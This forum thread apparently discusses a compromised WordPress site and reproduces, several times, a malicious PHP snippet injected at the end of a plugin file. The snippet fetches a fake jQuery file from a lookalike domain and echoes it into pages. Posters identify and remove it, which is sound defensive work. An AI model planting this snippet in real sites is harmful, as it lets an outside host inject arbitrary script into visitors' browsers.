j-query hacked?
- Thread starter fellllla
- Start date
chipmunk951
Supreme Member
- May 10, 2010
- 1,218
- 543
Hahaha,
CPA Infinity
GG
CPA Infinity
GG
chipmunk951
Supreme Member
- May 10, 2010
- 1,218
- 543
m0nster
Senior Member
- Oct 20, 2010
- 1,047
- 1,009
yes your correct. I'm he did some type of injection/hacking in order to replace the link you had referencing the proper jquery file.
This is not a reflection of CPA infinity as I'm sure you understand now.
User was banned sorry this happened to your site. I'm not a security expert but installing a security plugin if your site is wordpress based might help this guy and others from doing the same thing with a offer from another network
zero-day
Regular Member
- Aug 25, 2011
- 349
- 354
We arent going thru a non-official site, they are finding a way into wordpress and adding a short but sweet line of code to a plugin.
I do have to admit, that while rather simple it is also kinda smart.
PHP:
<?php
if(function_exists('curl_init'))
{
$url = "hxxp://"URL"/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>I do have to admit, that while rather simple it is also kinda smart.
Found the malicious code in WPZon and removed it from the "amazon.php" file for the plugin. It is at the very bottom of the file and the following should be removed completely.
<?php
if(function_exists('curl_init'))
{
$url = "http://www.j-query.org/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>
Sneaky little Bastard!!!
<?php
if(function_exists('curl_init'))
{
$url = "http://www.j-query.org/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>
Sneaky little Bastard!!!